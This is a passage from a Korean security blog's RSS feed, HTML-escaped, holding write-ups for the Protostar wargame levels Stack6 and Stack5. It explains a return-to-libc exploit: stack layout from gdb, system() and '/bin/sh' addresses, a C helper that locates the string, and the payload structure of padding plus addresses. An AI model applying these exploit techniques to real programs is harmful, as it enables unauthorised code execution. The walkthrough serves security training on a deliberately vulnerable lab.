14pt;&quot;&gt;if&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;((ret&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;&amp;amp;&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(193, 10, 255); font-size: 14pt;&quot;&gt;0xbf000000&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;)&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(193, 10, 255); font-size: 14pt;&quot;&gt;0xbf000000&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;)&amp;nbsp;{&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(75, 230, 250); font-size: 14pt;&quot;&gt;printf&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 213, 0); font-size: 14pt;&quot;&gt;&quot;bzzzt&amp;nbsp;(%p)\n&quot;&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;,&amp;nbsp;ret);&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;_exit(&lt;/span&gt;&lt;span style=&quot;color: rgb(193, 10, 255); font-size: 14pt;&quot;&gt;1&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;);&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&amp;nbsp;}&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(75, 230, 250); font-size: 14pt;&quot;&gt;printf&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 213, 0); font-size: 14pt;&quot;&gt;&quot;got&amp;nbsp;path&amp;nbsp;%s\n&quot;&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;,&amp;nbsp;buffer);&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;}&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div style=&quot;text-align:right; margin-top:-13px; margin-right:5px; font-size:9px; font-style:italic&quot;&gt;&lt;a href=&quot;http://colorscripter.com/info#e&quot; target=&quot;_blank&quot; style=&quot;color:#4f4f4f; text-decoration:none&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;Colored by Color Scripter&lt;/span&gt;&lt;/a&gt;&lt;/div&gt;&lt;/td&gt;&lt;td style=&quot;vertical-align:bottom; padding:0 2px 4px 0&quot;&gt;&lt;a href=&quot;http://colorscripter.com/info#e&quot; target=&quot;_blank&quot; style=&quot;text-decoration:none; color:white&quot;&gt;&lt;span style=&quot;font-size: 14pt; word-break: normal; background-color: rgb(79, 79, 79); color: white; border-radius: 10px; padding: 1px;&quot;&gt;cs&lt;/span&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;
&lt;/span&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;stack6가 어떤 stack 구조를 가지고 있는지 확인하기위해, gdb를 통해 분석해보자.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left; clear: none; float: none;&quot;&gt;&lt;span class=&quot;imageblock&quot; style=&quot;display: inline-block; width: 710px;  height: auto; max-width: 100%;&quot;&gt;&lt;img src=&quot;https://t1.daumcdn.net/cfile/tistory/99B228455C3C9D4D1C&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Ft1.daumcdn.net%2Fcfile%2Ftistory%2F99B228455C3C9D4D1C&quot; width=&quot;710&quot; height=&quot;866&quot; filename=&quot;이미지 024.png&quot; filemime=&quot;image/jpeg&quot;/&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;gdb를 통해 분석한 내용을 바탕으로 stack 구조를 그려보면 다음과 같이 그릴 수 있다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left; clear: none; float: none;&quot;&gt;&lt;span class=&quot;imageblock&quot; style=&quot;display: inline-block; width: 776px;  height: auto; max-width: 100%;&quot;&gt;&lt;img src=&quot;https://t1.daumcdn.net/cfile/tistory/99F2E7495C3CAAFD1E&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Ft1.daumcdn.net%2Fcfile%2Ftistory%2F99F2E7495C3CAAFD1E&quot; width=&quot;776&quot; height=&quot;945&quot; filename=&quot;이미지 026.png&quot; filemime=&quot;image/jpeg&quot;/&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;이번 level에서 getpatch's RET 주소를 0xbf000000과 AND 연산하여, getpatch's RET가 stack을 가리키고 있는지 확인한다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;따라서, &lt;span style=&quot;background-color: rgb(228, 247, 186);&quot;&gt;getpatch's RET의 주소가 stack 영역을 가르키면 안된다.&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;따라서 &lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;getpatch's RET를 system() 함수로 overwriting 하여, stack 영역이 아닌 library 영역으로 overwriting 하는&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;RTL(return to library)을 이용한다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;RTL 기법을 위해 필요한것을 아래의 3가지이다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt; background-color: rgb(228, 247, 186);&quot;&gt;1) buffer부터 RET까지의 거리&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt; background-color: rgb(228, 247, 186);&quot;&gt;2) system() 함수의 주소&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt; background-color: rgb(228, 247, 186);&quot;&gt;3) &quot;/bin/sh&quot;의 주소&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;stack 구조를 통해 RET에 도달하기 위해 80&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;byte padding이 필요한것을 확인할 수 있다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;system() 함수의 주소는 gdb를 통해 알아낼 수 있다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;system() 함수의 주소는 0xf7e117e0이다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left; clear: none; float: none;&quot;&gt;&lt;span class=&quot;imageblock&quot; style=&quot;display: inline-block; width: 991px;  height: auto; max-width: 100%;&quot;&gt;&lt;img src=&quot;https://t1.daumcdn.net/cfile/tistory/99C930365C3CAF4D39&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Ft1.daumcdn.net%2Fcfile%2Ftistory%2F99C930365C3CAF4D39&quot; width=&quot;991&quot; height=&quot;171&quot; filename=&quot;이미지 028.png&quot; filemime=&quot;image/jpeg&quot;/&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&quot;/bin/sh&quot;의 문자열은 coding을 통해 보다 쉽게 찾을 수 있다.&amp;nbsp;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&lt;span style=&quot;background-color: rgb(228, 247, 186);&quot;&gt;system() 내부에 &quot;/bin/sh&quot;가 포함&lt;/span&gt;된다는것이 힌트이다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;
&lt;/span&gt;&lt;div class=&quot;colorscripter-code&quot; style=&quot;color:#f0f0f0; font-family:Consolas, 'Liberation Mono', Menlo, Courier, monospace !important; position:relative !important; overflow:auto&quot;&gt;&lt;table class=&quot;colorscripter-code-table&quot; style=&quot;margin:0; padding:0; border:none; background-color:#272727; border-radius:4px;&quot; cellspacing=&quot;0&quot; cellpadding=&quot;0&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td style=&quot;padding:6px; border-right:2px solid #4f4f4f&quot;&gt;&lt;div style=&quot;margin:0; padding:0; word-break:normal; text-align:right; color:#aaa; font-family:Consolas, 'Liberation Mono', Menlo, Courier, monospace !important; line-height:130%&quot;&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;1&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;2&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;3&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;4&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;5&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;6&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;7&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;8&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;9&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/td&gt;&lt;td style=&quot;padding:6px 0&quot;&gt;&lt;div style=&quot;margin:0; padding:0; color:#f0f0f0; font-family:Consolas, 'Liberation Mono', Menlo, Courier, monospace !important; line-height:130%&quot;&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;color: rgb(153, 153, 153); font-size: 14pt;&quot;&gt;//&amp;nbsp;whereissh.c&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;color: rgb(0, 134, 179); font-size: 14pt;&quot;&gt;#include&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color:#aaffaa&quot;&gt;&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;stdio.h&lt;/span&gt;&lt;span style=&quot;color:#aaffaa&quot;&gt;&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;main()&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;{&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(75, 230, 250); font-size: 14pt;&quot;&gt;long&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;shell&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color:#aaffaa&quot;&gt;&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(193, 10, 255); font-size: 14pt;&quot;&gt;0xf7e117e0&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;while&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;(memcmp((&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;void&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;*&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;)shell,&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 213, 0); font-size: 14pt;&quot;&gt;&quot;/bin/sh&quot;&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;,&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(193, 10, 255); font-size: 14pt;&quot;&gt;8&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;))&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;shell&lt;/span&gt;&lt;span style=&quot;color:#aaffaa&quot;&gt;&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;+&lt;/span&gt;&lt;span style=&quot;color:#aaffaa&quot;&gt;&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;+&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(75, 230, 250); font-size: 14pt;&quot;&gt;printf&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 213, 0); font-size: 14pt;&quot;&gt;&quot;%x\n&quot;&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;,&amp;nbsp;shell);&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;}&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div style=&quot;text-align:right; margin-top:-13px; margin-right:5px; font-size:9px; font-style:italic&quot;&gt;&lt;a href=&quot;http://colorscripter.com/info#e&quot; target=&quot;_blank&quot; style=&quot;color:#4f4f4f; text-decoration:none&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;Colored by Color Scripter&lt;/span&gt;&lt;/a&gt;&lt;/div&gt;&lt;/td&gt;&lt;td style=&quot;vertical-align:bottom; padding:0 2px 4px 0&quot;&gt;&lt;a href=&quot;http://colorscripter.com/info#e&quot; target=&quot;_blank&quot; style=&quot;text-decoration:none; color:white&quot;&gt;&lt;span style=&quot;font-size: 14pt; word-break: normal; background-color: rgb(79, 79, 79); color: white; border-radius: 10px; padding: 1px;&quot;&gt;cs&lt;/span&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;
&lt;/span&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;whereissh.c를 컴파일 후 실행하면 &quot;/bin/sh&quot;의 주소가&amp;nbsp;0xf7f50968임을 확인할 수 있다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left; clear: none; float: none;&quot;&gt;&lt;span class=&quot;imageblock&quot; style=&quot;display: inline-block; width: 722px;  height: auto; max-width: 100%;&quot;&gt;&lt;img src=&quot;https://t1.daumcdn.net/cfile/tistory/9980424A5C3D3B2510&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Ft1.daumcdn.net%2Fcfile%2Ftistory%2F9980424A5C3D3B2510&quot; width=&quot;722&quot; height=&quot;254&quot; filename=&quot;이미지 030.png&quot; filemime=&quot;image/jpeg&quot; style=&quot;&quot;/&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;RTL의 payload는 80 byte padding + system() address + 4 byte dummy + &quot;/bin/sh&quot; address이다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;</description>
      <category>Wargame/Protostar</category>
      <author>MarcoKhan</author>
      <guid isPermaLink="true">https://marcokhan.tistory.com/242</guid>
      <comments>https://marcokhan.tistory.com/242#entry242comment</comments>
      <pubDate>Wed, 16 Jan 2019 20:43:26 +0900</pubDate>
    </item>
    <item>
      <title>[Protostar] Stack5 풀이, write-up</title>
      <link>https://marcokhan.tistory.com/241</link>
      <description>&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&lt;b&gt;&lt;span style=&quot;font-size: 36pt;&quot;&gt;Protostar --- Stack5&lt;/span&gt;&lt;/b&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&lt;span style=&quot;background-color: rgb(228, 247, 186);&quot;&gt;Stack5&lt;/span&gt;의 내용이다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;Stack5 is a standard buffer overflow, this time introducing shellcode.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;Stack5의 내용을 해석해보면 다음과 같다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;Stack5는 기초적인 BOF이다, 이번엔 shellcode에 대해 소개한다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&lt;span style=&quot;background-color: rgb(228, 247, 186);&quot;&gt;Stack5의 Hint&lt;/span&gt; 내용이다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;At this point in time, it might be easier to use someone elses shellcode.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;If debugging the shellcode, use \xcc(int3) to stop the program executing and return to the debugger remove the int3 once your shellcode is done.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;Stack5의 Hint를 해석해보면 아래와 같다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;이번엔, 다른 사람의 shellcode를 이용하는것이 더 쉬울것이다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;만약 shellcode를 디버깅한다면, 실행되고 있는 프로그램을 종료시키기 위해 \xcc(int3)를 사용해라.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;shellcode가 완료 되었으면 \xcc(int3)를 제거해도 된다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;stack.5의 소스를 분석해보자.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;
&lt;/span&gt;&lt;div class=&quot;colorscripter-code&quot; style=&quot;color:#f0f0f0; font-family:Consolas, 'Liberation Mono', Menlo, Courier, monospace !important; position:relative !important; overflow:auto&quot;&gt;&lt;table class=&quot;colorscripter-code-table&quot; style=&quot;margin:0; padding:0; border:none; background-color:#272727; border-radius:4px;&quot; cellspacing=&quot;0&quot; cellpadding=&quot;0&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td style=&quot;padding:6px; border-right:2px solid #4f4f4f&quot;&gt;&lt;div style=&quot;margin:0; padding:0; word-break:normal; text-align:right; color:#aaa; font-family:Consolas, 'Liberation Mono', Menlo, Courier, monospace !important; line-height:130%&quot;&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;1&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;2&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;3&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;4&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;5&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;6&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;7&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;8&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;9&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;10&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span 